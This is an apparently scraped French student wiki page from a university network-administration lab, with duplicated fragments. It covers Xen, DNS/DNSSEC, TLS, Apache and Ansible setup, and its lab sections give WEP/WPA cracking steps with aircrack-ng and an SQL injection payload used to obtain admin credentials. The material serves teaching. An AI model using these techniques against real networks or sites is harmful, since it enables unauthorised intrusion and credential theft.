00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firewall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: " \{\{item\}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "\{\{ item \}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"<br />
<br />
==Install Consul==<br />
<br />
D'abord, on créé sur la VM un utilisateur Consul dont le GID et UID vaut 666<br />
$ useradd consul<br />
$ passwd consul<br />
$ usermod -u 666 consul<br />
$ groupmod -g consul 666<br />
<br />
On créé ensuite les repertoires <br />
/etc/consul et /var/lib/consul que l'on attribue à consul</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58009TP sysres IMA5 2021/2022 G112022-01-12T12:35:46Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
